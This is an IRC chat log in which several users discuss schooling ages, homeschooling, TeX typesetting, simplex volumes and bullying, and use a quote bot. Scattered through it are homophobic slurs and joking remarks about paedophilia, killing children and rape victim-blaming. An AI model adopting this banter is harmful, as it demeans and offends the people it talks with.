22:24:13 <Prince_Charles> Also Scottish</mandatory patriotism>
22:24:54 <Prince_Charles> pikhq, oi, pencils are horrible.
22:25:05 <Prince_Charles> (I do *all* written work with a fountain pen.)
22:25:07 <pikhq> Prince_Charles: Not compared to a quill.
22:25:16 <Prince_Charles> (My handwriting is legendarily awful.)
22:25:32 <Prince_Charles> [[Then in Chapter 8 of Calculus the Easy Way, the heroes have three hours to derive the Fundamental Theorem of Integral Calculus; if they fail, the entire country will be destroyed in a fire or flood.]]
22:25:34 <elliott> Prince_Charles: :pretentious fart:
22:25:34 <zzo38> I guess Knuth prefers writing a matrix with parentheses instead of square brackets? I prefer using square brackets for a matrix, and fortunately it is very easy to do in TeX: \def\bmatrix#1{\left[\matrix{#1}\right]}
22:25:38 <elliott> TOO COOL FOR BIRO EH
22:25:38 <oklopol> but fountain pen cannot be destroyd
22:25:40 <zzo38> What way do you prefer?
22:25:41 <oklopol> *destroyed
22:25:49 <Prince_Charles> Sgeo, you have 10 seconds to tell me how that is not horrifically contrived.
22:25:55 <pikhq> Oh, and students should also have to deal with books of tables of basic functions, like log and exp.
22:26:27 <zzo38> Which way do you prefer to display a matrix?
22:26:32 <Prince_Charles> elliott, biros are horrible to write with...
22:26:41 <pikhq> Because it makes sense to have to learn to deal with decades-old concerns.
22:26:44 <elliott> Prince_Charles: see
22:26:45 <pikhq> elliott: Ballpoint pens do suck.
22:26:47 <elliott> too good for biros
22:26:49 <elliott> fucking
22:26:49 <oklopol> zzo38: parens
22:26:51 <elliott> pretentious elitistifier
22:26:52 <Prince_Charles> They require way too much pressure to use comfortably.
22:26:56 <Sgeo> Prince_Charles, well, the problem as presented to the characters is about finding the volume of a bunch of pools that the Gremlin placed magical flames in
22:27:00 <pikhq> They're cheap, and that's about the only thing that can be said for them.
22:27:05 <Sgeo> They need exactly the right amount of water, no more no less
22:27:08 <elliott> pikhq: stfu busy mocking prince charles
22:27:12 <Sgeo> It is contrieved, of course
22:27:27 <Prince_Charles> Sgeo, y'know what, I don't care.
22:27:51 <zzo38> oklopol: So you agree with Knuth on that, then. Nothing wrong with that; it is just different convention being used. (You can use \pmatrix in TeX to typeset such a matrix (except on Wikipedia).)
22:27:53 <Prince_Charles> If you're so incapable of abstract thought to need everything given a stupid "practical" scenario, I have no time for you.
22:28:31 <Sgeo> Prince_Charles, it's entertaining, and it helped me understand to some degree when I was a kid
22:28:55 * pikhq votes we just force kids to deal with abstract thought from a young age.
22:29:05 <pikhq> Step one: Ixnay on the algorithms.
22:29:26 <oklopol> zzo38: i use \begin{array} \end{it} in my latex.
22:29:48 <Prince_Charles> pikhq, which algorithms?
22:29:48 <Sgeo> Although I still hate Trigonometry
22:30:04 <Prince_Charles> Sgeo, I can't fault you on that, I hate trig too.
22:30:09 <pikhq> Prince_Charles: Addition, subtraction, multiplication, and division. There is no sense in spending 6 years on them.
22:30:36 <Prince_Charles> pikhq, yes there is; idiots can't understand them.
22:30:57 <Prince_Charles> Also, you need to redefine them about 3 times for different sets.
22:30:59 <elliott> But what about those of us terrible at arithmetic. :p
22:31:19 <oklopol> maybe we could kill everyone who's stupid?
22:31:32 <elliott> like cough me
22:31:33 <pikhq> Six. Fucking. Years. to get a high level of competency at a skill that is about as useful as the ability to succesfully operate a slide rule.
22:31:37 <elliott> that's in response to my line /and/ oklopol's
22:31:40 <oklopol> Prince_Charles: you mean extend for larger sets of numbers?
22:31:44 <oklopol> or what
22:31:50 <Prince_Charles> oklopol, well, yeah.
22:31:58 <oklopol> like the N Z Q R C thing
22:32:09 <pikhq> Sure, perhaps *teach* them, but you really, really, really don't need to spend *years* drilling on them to get students to be able to perform them quickly.
22:32:20 <ais523> does anyone actually use Q? or is it just there for completeness?
22:32:25 <zzo38> I have a slide rule!
22:32:34 <Prince_Charles> ais523, Q is taught pretty thoroughly.
22:32:38 <ais523> I made one once, but it wasn't very accurate
22:32:40 <oklopol> erm Q is used all the time
22:33:14 <Prince_Charles> ais523, that's rationals, not quaternions.
22:33:19 <ais523> I know
22:33:31 <Prince_Charles> Then yeah, Q is covered pretty completely.
22:33:32 <elliott> ais523: I like Q!
22:33:36 <oklopol> ais523: you haven't seen Q used in math? :P
22:33:40 <elliott> it's much nicer than R.
22:33:49 <Sgeo> When I was a kid, I read a book on doing arithmatic a bit differently
22:33:50 <ais523> oklopol: I think I study the wrong sort of math
22:33:51 <pikhq> elliott: I prefer the computable reals, myself.
22:33:52 <ais523> for that
22:33:56 <Prince_Charles> Indeed, it's basically all that's covered until idiots start getting trimmed out.
22:33:56 <ais523> *maths
22:34:03 <Prince_Charles> ais523, yes, you study COMPUTER MATHS
22:34:20 <oklopol> ais523: what sort of maths do you study?
22:34:23 <ais523> Prince_Charles: remember I was an electronic engineer for years
22:34:40 <ais523> oklopol: mostly linear and affine type systems, at the moment
22:34:44 <Prince_Charles> ais523, SCUUUUUM
22:34:49 <zzo38> Obviously there are some things wrong with the mathematical typesetting in Wikipedia, some things are incompatible between TeX and Wikipedia. If I write a change file for TeX and a program to convert a Pascal code to PHP, and then add some things to output .png and so on, can they use it?
22:34:51 <pikhq> Prince_Charles: It's a bit like spending 6 freaking years on the ability to write the glyphs of your spoken language well.
22:34:53 <ais523> Prince_Charles: that's a strange reaction
22:34:55 <oklopol> well of course you won't see Q when doing continuous engineer stuff
22:35:00 <pikhq> It is a *fucking waste of time*.
22:35:00 <oklopol> :P
22:35:03 <Prince_Charles> pikhq, ever heard of handwriting lessons?
22:35:05 <ais523> zzo38: I suspect they can, but that doesn't necessarily mean they will
22:35:18 <Prince_Charles> Wait, maybe you don't have them in the States.
22:35:22 <ais523> also, remember that TeX is Turing-complete
22:35:26 <ais523> it'd be bad for a wiki engine to be TC
22:35:27 <pikhq> Prince_Charles: Yes, we spend years on handwriting too.
22:35:32 <pikhq> Prince_Charles: It is still a fucking waste of time.
22:36:16 <Prince_Charles> pikhq, I feel that we are somehow arguing over something we agree on.
22:36:31 <zzo38> ais523: Yes I do know. And I would like wiki engine to be TC, however. It helps with many things. Even Hackiki is a TC engine (actually it has limited memory; but I mean ignoring that). And it can have time limit for PHP running.
22:36:32 <pikhq> You could literally remove the first 6 years of public schooling and have lost nothing.
22:37:04 <Prince_Charles> pikhq, weeeellll...
22:37:24 <augur> http://www.hookahcompany.com/hobo_nargile_4363_prd1.htm should i get?
22:37:27 <Prince_Charles> There are some useful bits in there, but they're mainly completed early on.
22:37:32 <pikhq> Prince_Charles: Okay, not quite literally. Unless the parents are not idiots.
22:37:35 <ais523> augur: no
22:37:35 <oklopol> you could replace it by beating the kids with a hammer for a few years to make the transition more smooth
22:37:42 <augur> ais523: why not
22:37:55 <ais523> because I'm throwing out a truth value at pseudorandom without following the link
22:38:03 <pikhq> If the parents *are* idiots, then you have lost time away from the TV, which at least has some value.
22:38:10 <augur> ais523: :)
22:38:21 <ais523> and besides, "no" is my default answer to any question that involves "should I buy X"
22:38:22 -!- Ilari has quit (Ping timeout: 260 seconds).
22:38:22 -!- Ilari_antrcomp has quit (Ping timeout: 260 seconds).
22:38:42 * Prince_Charles cannot remember any significant intellectual development he made in primary school.
22:38:55 <oklopol> i have WAY too much money
22:39:03 <augur> oklopol!
22:39:03 <augur> \o/
22:39:06 * pikhq learned to program whilst going through primary school
22:39:13 <Prince_Charles> I mean, there was the odd bit of useful science, but nothing much more.
22:39:15 <ais523> ooh, I think I received my first spam ever on my nomic email account
22:39:15 <oklopol> Prince_Charles: i can't remember any development in high school either
22:39:18 <ais523> normally they come on the main one
22:39:31 <pikhq> And read books that many high school graduates couldn't...
22:39:37 <oklopol> it was like 3 years of coma
22:39:39 <pikhq> But that's not because of primary school at all.
22:39:47 <augur> you're all quite lame
22:39:50 <Prince_Charles> oklopol, wait, 3?
22:39:58 <ais523> it's a 419 again, although this time the person doing it, apparently the daughter of the late "king of Bobo Land In BURKINA_FASO", is romantically interested in me
22:40:03 <augur> in primary school i was reading the science desk reference cover to cover
22:40:05 <Prince_Charles> How are your schools set out?
22:40:08 <augur> and trying to grok relativity
22:40:13 <augur> (failingly)
22:40:23 <pikhq> Prince_Charles: 3 years of high school is the norm in many countries, and was the norm in the US until vaguely recently.
22:40:31 <oklopol> Prince_Charles: yeah, that's the normal amount here
22:40:37 <elliott> <ais523> it's a 419 again, although this time the person doing it, apparently the daughter of the late "king of Bobo Land In BURKINA_FASO", is romantically interested in me
22:40:40 <elliott> heh
22:40:47 <Prince_Charles> pikhq, ...
22:40:57 <Prince_Charles> Erm, what ages are high school?
22:40:58 <ais523> also, reply-to doesn't match send address, /and/ there isn't an address to send to listed in the body of the email itself
22:41:06 <ais523> which implies to me that the scammer is at least vaguely technically literate
22:41:07 <Prince_Charles> I'm assuming you have 3 tiers.
22:41:13 <oklopol> we first do 6 years of bullshit, then 3 more years of supposedly more advanced bullshit, then 3 years of high school, which is bullshit
22:41:38 <ais523> it even has undisclosed recipients
22:41:57 <pikhq> 6 years of bullshit, 3 years of bullshit, then 4 years of bullshit here.
22:41:59 <ais523> so I'm impressed, although I'm not actually planning to reply
22:42:04 <oklopol> Prince_Charles: we stard high school at 15 or 16 or something i think?
22:42:19 <oklopol> you calculate, i'm on my 3rd year of uni and i was born in 89
22:42:22 <Prince_Charles> oklopol, ah, right.
22:42:30 <oklopol> no gaps anywhere
22:43:10 <pikhq> Prince_Charles: We start high school around 14, graduate around 18.
22:43:13 <oklopol> when you get the answer, tell me too, would be interesting to know
22:43:57 <Prince_Charles> pikhq, ah, here it's secondary from 11 to 17.
22:44:08 <oklopol> so... you start school at 5?
22:44:32 <oklopol> this is way too confusing
22:44:32 -!- ais523 has quit (Remote host closed the connection).
22:44:49 <pikhq> oklopol: Yup.
22:44:55 <oklopol> my brain has no slots for bullshit-related information :(
22:45:01 <Prince_Charles> oklopol, well, I started at 4, and those ages are based on my age at the end of each year.
22:45:21 <oklopol> yup at the 5 thing?
22:45:24 <pikhq> Yeah.
22:45:27 <Prince_Charles> Gyaargh, fencepost.
22:45:27 <zzo38> They do have a program texvc written in OCaml. I could just write a shorter one in PHP and then write a TeX format file to disable a few commands and omit page numbers and so on. And then render all formulas in one TeX document and each page of output is then made into a .png file.
22:45:31 <Prince_Charles> *fenceposts.
22:45:35 <Prince_Charles> 12-17, then.
22:45:56 <Prince_Charles> And 5-11 is primary.
22:46:07 <zzo38> And have \write limited to writing to only one file, which its contents are then processed as MediaWiki codes by MediaWiki.
22:46:17 <oklopol> at 4? :D here's a list of what we do at age 4:
22:46:42 -!- MigoMipo has quit (Read error: Connection reset by peer).
22:46:44 <oklopol> and here comes the exhaustive list for ages 5-6:
22:46:50 <zzo38> And then add some sort of timeout mechanism.
22:47:01 <Prince_Charles> oklopol, P1 has basically nothing in it.
22:47:16 <pikhq> Middle school, also part of secondary education in the US, starts around 11 and goes to age 14...
22:47:19 <Prince_Charles> Beginnings of reading and writing is all that I can remember.
22:47:46 <pikhq> Oh, yeah, and we have an optional "preschool" thing...
22:47:51 <oklopol> P1 being first year of primary?
22:47:58 <Prince_Charles> oklopol, yes.
22:48:23 <oklopol> we start learning to write at 7
22:48:23 <pikhq> So, yeah, we spend a *fuckton* of time on primary and secondary education for, well, shitty results.
22:48:56 <oklopol> we have preschool at age 6, but that's just playing
22:50:06 <Prince_Charles> oklopol, pfft, we had woodwork when I was at nursery.
22:50:09 <Prince_Charles> With nails and hammers.
22:50:10 <zzo38> However, in Hackiki, it is probably possible to make proper TeX math. Does Hackiki have TeX? If not, does it have a GNU Pascal compiler (so that tex-gpc can be installed)?
22:50:19 <Prince_Charles> I gave myself a blood blister once.
22:50:24 <pikhq> There's not a heck of a lot of value in kindergarten (first year of primary education), but it is mandatory in many states.
22:50:26 <oklopol> nursery = ?
22:50:32 <Prince_Charles> oklopol, preschool.
22:50:40 <oklopol> so that'd be... age 3?
22:50:49 <Prince_Charles> No, 4.
22:50:52 <oklopol> we drool at age 3
22:50:56 <oklopol> here in finland
22:51:00 <oklopol> okay
22:51:01 <oklopol> right
22:51:15 <pikhq> It's pretty saddening that I could probably do education better than our school systems. Personally.
22:51:20 <zzo38> I have in fact, written a program that convert .dvi to .pbm format.
22:51:30 <Prince_Charles> pikhq, well, could you?
22:51:30 <oklopol> so what you went to school at age 4 because you were a particularly smart 4yo? :P
22:51:40 <Prince_Charles> oklopol, yes.
22:51:44 <oklopol> haha
22:51:44 <oklopol> okay
22:51:51 <oklopol> that's cool
22:51:56 <Prince_Charles> I think I might have been able to read by then, but I can't actually remember.
22:51:58 <pikhq> Though, courtesy of the religious wackos around here, I would actually be able to do so should I ever have a child.
22:52:44 <elliott> i went to school at 4
22:52:45 <elliott> and could read
22:52:46 <elliott> well
22:52:47 <elliott> preschool eyah
22:52:48 <elliott> *yeah
22:52:53 <Prince_Charles> (I'm right next to the lower age boundary, though, so it was really a matter of rounding up rather than down.)
22:52:55 <oklopol> everyone can read at 4
22:52:55 <pikhq> (certain religious nutjobs are worried about our schools not being sufficiently crazy, so have fought for the right to do homeschooling. Little-to-no regulations with it.)
22:53:38 <oklopol> i only tried writing at 5, i wrote "fuck, shit, satan" on a piece of paper, and showed it to my father, proud as hell
22:53:42 <oklopol> (in finnish)
22:54:09 <oklopol> homeschooling ftw
22:54:29 <Prince_Charles> oklopol, not *unregulated* homeschooling, though.
22:54:40 <pikhq> Prince_Charles: Regulations vary from state to state.
22:54:55 <pikhq> And the whargarble is strong in many states in the US.
22:55:08 <Prince_Charles> Since that inevitably just results in crazies ruining their children's chances of sanity
22:55:08 <elliott> regulate parenting, not homeschooling :P
22:55:30 <Prince_Charles> elliott, that's strangely unpalatable to some people.
22:55:30 <oklopol> parents suck at parenting
22:55:41 <elliott> don't care
22:55:44 <Prince_Charles> OTOH, these people tend to be the lesser kind of idiot.
22:56:16 <oklopol> well, people suck at living
22:56:25 <oklopol> in general
22:56:48 <Prince_Charles> Like, the kind who aren't actively *stupid*, but are just incapable of making rational decisionss.
22:56:51 <Prince_Charles> *decisions
22:57:05 <elliott> the problem is that you can't really stop crazies without rapidly approaching china :)
22:57:10 <elliott> *crazies from breeding
22:57:27 <oklopol> you don't have to stop them from breeding, you just have to kill their children
22:57:30 <elliott> I have no real moral issue with regulating reproduction and parenting _except_ that it requires too powerful a government
22:57:36 <oklopol> much less painful to everyone
22:57:41 <oklopol> they still get to have sex
22:57:44 <elliott> (providing services doesn't make a government more powerful)
22:57:44 <coppro> What elliott said
22:57:56 <oklopol> but none of those condoms and buying kids food and shit
22:57:56 <coppro> oh, one other issue
22:58:06 <elliott> let's just have abortions for everyone!!
22:58:12 <Prince_Charles> elliott, clearly the solution is to enact mandatory, genetically fixed sterilisation.
22:58:13 <elliott> then you don't even have to go through childbirth amirite
22:58:18 <coppro> regulating children is inhumane regardless of the step you do it at
22:58:19 <elliott> Prince_Charles: <elliott> I have no real moral issue with regulating reproduction and parenting _except_ that it requires too powerful a government
22:58:19 <elliott> :-P
22:58:24 <coppro> if it weren't inhumane, I wouldn't have an issue with it
22:58:42 <coppro> requiring parents to undergo a course when pregnant would be fine
22:59:03 <pikhq> Huh. Apparently only a minority of those homeschooling in the US do so for any religious reasons at all.
22:59:05 <coppro> but moving children/preventing them from being born is not good
22:59:15 <Prince_Charles> pikhq, hmm.
22:59:21 <coppro> pikhq: A lot do it because they (correctly) believe they can teach better than their children
22:59:28 <elliott> I was officially down as being homeschooled for N years.
22:59:31 <coppro> err
22:59:33 <Prince_Charles> Any factors able to skew that?
22:59:34 <oklopol> :P
22:59:36 <coppro> better than the teachers
22:59:43 <pikhq> coppro: Yeah, some 48%.
22:59:46 <Prince_Charles> elliott, what *were* you doing?
22:59:57 <elliott> Prince_Charles: Wikipedia :-P
22:59:58 <oklopol> teaching himself
23:00:00 <coppro> or because they don't want their children exposed to school social environment
23:00:09 <pikhq> coppro: Which is entirely valid, IMO.
23:00:10 <coppro> (also a good idea as long as they make sure their kid gets some social exposure)
23:00:18 <Prince_Charles> elliott, WP kind of sucks as a teaching resource.
23:00:22 <coppro> the modern school social environment usually sucks
23:00:31 <coppro> I am led to believe it's worse in the US
23:00:38 <elliott> Prince_Charles: Well, it's not ideal. WP + google is better than standardised schooling though.
23:00:47 <pikhq> It's permanently scarring in the US.
23:00:49 <Prince_Charles> Since it's just a heap of definitions that frequently take a lot of cross-referencing to figure out.
23:00:50 <elliott> (At the pre-university level.)
23:00:57 <elliott> Prince_Charles: Yes, but I call that "fun".
23:01:00 <coppro> pikhq: is it?
23:01:18 <Prince_Charles> I could probably go to university at the end of this year, but the thought of going at 16 scares me too much.
23:01:29 <oklopol> Prince_Charles: why does it scare you?
23:01:40 <Prince_Charles> oklopol, because I'm a wuss.
23:01:44 <coppro> pikhq: Here it was bad until I found a good peer group. Then the rest of the environment didn't matter because I had my peer group
23:01:44 <oklopol> no one cares how old you are at the uni
23:01:46 <oklopol> at least here
23:01:51 <pikhq> coppro: We have a fairly high proportion of mental disorders such as depression in high schoolers these days.
23:02:00 <elliott> oklopol: it would be awkward
23:02:06 <oklopol> why?
23:02:07 <elliott> and things being awkward aren't related to whether anyone else cares or not
23:02:12 <oklopol> hmm
23:02:14 <pikhq> elliott: Not for long.
23:02:18 <elliott> oklopol: um deviating against any kind of social norm is usually pretty awkward
23:02:24 <elliott> at least for a short while
23:02:47 <oklopol> people come to uni at all kinds of ages
23:02:52 <elliott> oklopol: maybe in .fi
23:02:55 <coppro> pikhq: fair, but any clue why?
23:02:58 <oklopol> well right
23:03:08 <coppro> is it the attitude at school in particular or social attitudes generally?
23:03:19 <oklopol> i was in uni courses when i was 16 and it was not at all awkward
23:03:30 <elliott> yah but you're insanely extroverted.
23:03:40 <elliott> we're all hopelessly shy nerds with social anxiety.
23:03:43 <oklopol> people keep telling me that
23:03:46 <elliott> and and uh
23:03:47 <elliott> pimples!!
23:03:50 <elliott> and ACNE
23:03:53 <elliott> gotta fit
23:03:53 <elliott> all
23:03:53 <elliott> the
23:03:54 <pikhq> coppro: Y'know "Lord of the Flies"?
23:03:55 <oklopol> i have a bit of acne
23:03:55 <elliott> stereotypes
23:03:57 <elliott> in
23:04:01 <elliott> stereotypes, gotta catch 'em all
23:04:06 <Prince_Charles> elliott, well, IRL I am actually fairly extroverted depending on circumstances.
23:04:06 <coppro> pikhq: hah
23:04:08 <pikhq> Erm, s|"|/|g
23:04:28 -!- Ilari_antrcomp has joined.
23:04:29 <elliott> I'm ridiculously shy and have terrible social anxiety but with friends I'm irritatingly chatty.
23:04:30 <coppro> pikhq: admittedly, my school had a gifted program
23:04:34 <elliott> It bothers me.
23:05:17 <pikhq> coppro: Seriously, the administration at most schools fundamentally doesn't care about what's going on. If something comes to their attention, all involved get suspension or expulsion.
23:05:27 <coppro> pikhq: really? yuck :(
23:05:41 <elliott> pikhq: You forgot "or ignored".
23:05:44 <coppro> my administration experience was pretty good
23:05:45 <quintopia> the n-volume of a standard n-simplex is 1/n! right?
23:05:48 <pikhq> elliott: Or ignored, yes.
23:05:49 <coppro> they obviously couldn't monitor everything
23:06:00 <oklopol> quintopia: what's a standard n-simplex?
23:06:01 <pikhq> elliott: Depending on how their week had been going, really.
23:06:10 <oklopol> the one where you have a point 1 along each axis?
23:06:12 -!- Ilari has joined.
23:06:21 <Prince_Charles> My experience with administration has been pretty negative, but then again I've never really had a problem with people making my life hell.
23:06:32 <quintopia> oklopol: exactly
23:06:34 <coppro> but I felt I was being bullied a bit more than constituted just fun one time, and I went in, and the assistant principal dragged everyone I named in and gave them a talking-to (using the convenient excuse that the substitute teacher that day had been concerned)
23:06:44 <coppro> they didn't get suspended, but they definitely got a message
23:06:47 <elliott> I was, uh, not very popular in middle school.
23:06:52 <coppro> (and I'll be fair; I didn't really want them suspended)
23:07:30 <pikhq> coppro: Here, you'd be ignored up until you got injured.
23:07:35 <pikhq> coppro: And then you'd be punished!
23:07:40 <pikhq> Hooray, zero-tolerance!
23:07:46 <coppro> pikhq: :/
23:07:48 <coppro> wow, that's awful
23:07:53 <oklopol> quintopia: i think it is, don't know tho
23:08:01 <Prince_Charles> pikhq, why would *you* get punished?
23:08:16 <oklopol> but hmm
23:08:36 <oklopol> ermmmm
23:09:48 <elliott> Prince_Charles: Illogic.
23:10:22 <oklopol> well who likes a little fag who gets beaten up all the time right
23:11:16 <Prince_Charles> No, I am genuinely curious as to what kind of twisted mind comes up with such an idiotic policy.
23:11:19 <oklopol> quintopia: i have no idea how to calculate that, even, in a simple way
23:12:09 <quintopia> oklopol: well, i'm pretty sure the first three are 1,1/2,1/6, so i just assumed it would continue :P
23:12:10 <oklopol> except maybe solving the integral actually is pretty simple
23:12:14 <oklopol> and gives you 1/n!
23:12:38 <oklopol> you have nested integrals from 0 to 1, and you're integrating constant 1
23:12:53 <oklopol> 1, x, x^2/2, x^3/6 etc
23:12:58 <Prince_Charles> pikhq, answer goddamn it.
23:13:01 <Prince_Charles> Don't make me hit you
23:13:16 <elliott> <oklopol> well who likes a little fag who gets beaten up all the time right
23:13:19 <elliott> ;--------------;
23:13:26 <elliott> i have no idea what that smiley is even.
23:13:30 <oklopol> :D
23:14:08 <oklopol> erm
23:14:28 <oklopol> quintopia: sorry, you may have noticed i was a bit hasty there, it's not that simple :P
23:14:37 <elliott> 15:06:34 <coppro> but I felt I was being bullied a bit more than constituted just fun one time, and I went in, and the assistant principal dragged everyone I named in and gave them a talking-to (using the convenient excuse that the substitute teacher that day had been concerned)
23:14:37 <elliott> 15:06:44 <coppro> they didn't get suspended, but they definitely got a message
23:14:52 <elliott> what happened with me (obviously i was a lot younger) was, uh
23:15:03 <elliott> yeah i think they got verbally half-slapped on the wrist.
23:15:15 <elliott> although i don't know of any actual evidence that even that happened
23:15:39 <elliott> (that incident was actually physical.)
23:15:47 <elliott> tl;dr i have no idea what this tl;dr is
23:15:50 <elliott> anyway
23:15:52 <elliott> ff
23:15:55 <elliott> back to minecraft
23:16:01 <elliott> time to get bullied by skeletons HUR HUR
23:16:03 <oklopol> i don't think we had that much bullying in our school, the physical kind that is
23:16:08 <quintopia> oklopol: it looks like it works out though
23:16:26 <oklopol> quintopia: it does. but does it actually work out?
23:16:36 <oklopol> i mean
23:16:59 <oklopol> first integral is from 0 to 1, but the second is from 0 to 1-x for x the first integral's variable, and after that who knows!
23:17:24 <quintopia> another way to approach it would be to decide whether the 1/n*A_0*h formula for volume of pyramids holds for all n
23:18:23 <oklopol> erm actually the simplex consists of the nonnegative points such that the sum of coordinates is less than or equal to 1 right
23:18:31 <oklopol> so it's trivial to do the integral
23:18:44 <quintopia> aha
23:18:58 <oklopol> well isn't it?
23:19:00 <oklopol> i mean
23:19:06 <oklopol> take one axis, let x go 0 to 1
23:19:28 <oklopol> then, on the second axis, you have used up x... stuff, so now you have from 0 to 1-y to use
23:19:57 <oklopol> (we'll take it as a given that any natural way to make a for-loop over the uncountable set of points gives us the right answer)
23:20:07 <oklopol> then
23:20:17 <oklopol> on the z axis you have 0 to 1-x-y left
23:20:32 <oklopol> and in "stuff, so now you have from 0 to 1-y to use", you have 0 to 1-x to use ofc, sorry
23:20:34 <pikhq> Prince_Charles: Because zero tolerance for fights at all.
23:20:53 <Prince_Charles> pikhq, even if it was completely one-sided?
23:21:14 <elliott> Prince_Charles: You shouldn't have worn such provocative clothing if you didn't want to be raped!
23:21:37 <oklopol> yeah if someone starts violently hitting his head against your fist, why should YOU get punished?
23:21:57 <oklopol> it occurs to me that all you nerds have been beaten up all your life and this is a really sensitive topic.
23:22:26 <Prince_Charles> Actually, I've only been beaten up to any appreciable degree twice.
23:23:25 <oklopol> i would probably just count one beating a proper one
23:23:38 <quintopia> i have never been beaten up
23:23:42 <quintopia> at least involuntarily
23:23:43 <elliott> i think i've only actually been physically beaten up once.
23:23:44 <oklopol> that time when i didn't pay the pizza delivery guys more money because they came two hours late
23:23:46 <elliott> but many more threats.
23:23:48 <quintopia> let's fight, oklopol
23:23:48 <oklopol> and they beat me up
23:23:51 <Prince_Charles> And both of those were just being punched in the face.
23:24:09 <oklopol> oh i've been punched in the face a lot of times
23:24:49 <oklopol> quintopia: i'm not interested, to be honest
23:24:50 <elliott> Prince_Charles: Wimp, mine was being picked up roughly, dragged on the ground and carried indoors where I was shoved into a cupboard which was slammed shut.
23:24:59 <elliott> (Okay, so being punched in the face was probably more _painful_.)
23:25:08 <elliott> oklopol: btw i don't consider this a sensitive topic :P
23:25:12 <Prince_Charles> elliott, yeah, but that's because you're an ENGLISH PANSY
23:25:29 <oklopol> haha yeah elliott is a fag
23:25:30 <elliott> somehow i actually managed to forget it happened until nighttime xD
23:25:36 <elliott> oklopol: MY HOMOSEXUALITY ON THE OTHER HAND
23:26:23 <oklopol> elliott: you mean you were in the cupboard all day, thinking about your latest OS project, and 8 hours later OH MY GOD THEY LOCKED ME IN A CUPBOARD!
23:26:29 <oklopol> up
23:26:32 <elliott> xD
23:26:37 <elliott> i was like six
23:26:49 <elliott> i don't think the cupboard actually locked
23:26:52 <elliott> it was pretty small though
23:27:35 <quintopia> elliott is so gay, he has consensual sex with other men and enjoys it.
23:27:45 <elliott> just because i'm gay doesn't mean i'm a fag.
23:27:51 <elliott> JUST BECAUSE I'M GAY DOESN'T MEAN I'M HOMOSEXUAL
23:27:58 <elliott> just because i'm homosexual
23:28:00 <elliott> doesn't mean i have sex with men.
23:28:06 <quintopia> i'm not gonna touch that subject...that's a faggot-over-a-load for sure :P
23:28:08 <elliott> ...i'm also a paedophile
23:28:16 <elliott> get it
23:28:17 <elliott> MEN
23:28:42 <oklopol> if i get it, it's not very funny, so please explain
23:29:07 <oklopol> hmm, it occurs to me that i have beer next to me
23:29:14 <oklopol> maybe i could get drunk now that i'm here
23:29:29 <oklopol> then i'd be all like
23:29:31 <quintopia> beer is good
23:29:33 <oklopol> LOL I'M SOOOOOOOOOO DURNK
23:29:39 <oklopol> HAHAA EVERYTHINGSPINNING
23:29:40 -!- Ilari_antrcomp has quit (Ping timeout: 260 seconds).
23:29:54 <oklopol> ^ that's what i'd be like
23:30:09 <quintopia> no
23:30:09 <oklopol> well not the kind of like that leaves the channel i meant what i said.
23:30:12 <quintopia> no you wouldn't
23:30:17 <oklopol> i wouldn't?
23:30:23 <quintopia> you couldn't fit that much beer in your intestines
23:30:27 <quintopia> try hard liquor if you want that
23:30:35 <elliott> <oklopol> if i get it, it's not very funny, so please explain
23:30:39 <elliott> see if i'm a gay paedophile
23:30:43 <elliott> i don't have sex with men
23:30:47 <elliott> i have sex with BOYS
23:30:49 <oklopol> right
23:30:52 <elliott> Elliott Hird ehird google
23:30:57 <elliott> #esoteric irc logs
23:30:59 <elliott> elliott hird cv
23:31:05 <oklopol> that's what i got
23:31:08 <elliott> (just making sure google finds this when future employers googlestalk me)
23:31:20 <elliott> Elliott Hird programmer
23:31:23 <quintopia> figured that's what it was
23:31:24 -!- Behold has joined.
23:32:31 <Prince_Charles> <IN TEN YEARS' TIME> <elliott> DAMMIT I'M ON THE SEX OFFENDERS REGISTER
23:32:45 <oklopol> you have one in the uk?
23:33:21 -!- BeholdMyGlory has quit (Ping timeout: 264 seconds).
23:33:37 <oklopol> i'll probably have to disconnect soon and never return
23:33:48 <quintopia> elliott: also best we put it in the qdb
23:34:01 -!- Ilari_antrcomp has joined.
23:34:08 <Prince_Charles> oklopol, yes, because blanket life sentences are a great idea.
23:34:33 <quintopia> `addquote <elliott> just because i'm homosexual / doesn't mean i have sex with men. / ...i'm also a paedophile
23:34:43 <elliott> wow that is the most faily way to quote it ever
23:34:50 <HackEgo> 323) <elliott> just because i'm homosexual / doesn't mean i have sex with men. / ...i'm also a paedophile
23:34:52 <quintopia> figured you say that
23:35:05 <quintopia> but the lamer thing would be to say <elliott> three times
23:35:06 <elliott> `delquote 323
23:35:07 <elliott> `addquote <elliott> just because i'm homosexual <elliott> doesn't mean i have sex with men. <elliott> ...i'm also a paedophile [...] <elliott> see if i'm a gay paedophile <elliott> i don't have sex with men <elliott> i have sex with BOYS
23:35:08 <HackEgo> *poof*
23:35:10 <HackEgo> 324) <elliott> just because i'm homosexual <elliott> doesn't mean i have sex with men. <elliott> ...i'm also a paedophile [...] <elliott> see if i'm a gay paedophile <elliott> i don't have sex with men <elliott> i have sex with BOYS
23:35:18 <elliott> `quote 323
23:35:20 <HackEgo> 323) <elliott> just because i'm homosexual / doesn't mean i have sex with men. / ...i'm also a paedophile
23:35:23 <elliott> `delquote 323
23:35:24 <HackEgo> *poof*
23:35:33 <quintopia> also all that extra stuff you added is irrelevant
23:35:39 <quintopia> you are really bad at quoting
23:36:32 <oklopol> no the extra stuff makes it good, because the actual joke was really stupid
23:36:53 <quintopia> no, we don't want it to look like a joke
23:37:02 <quintopia> we want the qdb to reflect that he is a gay paedophile
23:37:04 <oklopol> good point
23:39:23 <oklopol> actually the first joke i thought elliott was making was that he's so small masturbation is gay pedophilia
23:39:56 <elliott> xD
23:40:07 <elliott> i love how that makes no sense
23:40:23 <quintopia> makes perfect sense
23:40:31 <quintopia> and is far funnier than the actual joke
23:41:10 <quintopia> `addquote <oklopol> actually the first joke i thought elliott was making was that he's so small masturbation is gay pedophilia
23:41:12 <HackEgo> 331) <oklopol> actually the first joke i thought elliott was making was that he's so small masturbation is gay pedophilia
23:41:26 <oklopol> masturbation being gay is a very old joke, probably from the bible
23:41:53 <quintopia> yes, but the idea that he is so small he's childlike is a nice new spin
23:42:10 <quintopia> `quote 323
23:42:11 <HackEgo> 323) <<<<<<< /tmp/hackenv.22235/quotes
23:42:19 <quintopia> what does that even mean?
23:42:38 <elliott> quintopia: well i am pretty damn tiny yes
23:42:39 <elliott> also LOL
23:42:41 <elliott> Gregor: ^
23:42:44 <elliott> quintopia: the hg merge failed
23:42:47 <elliott> so the quotes file now has merging shit in it
23:42:48 <elliott> `quote 324
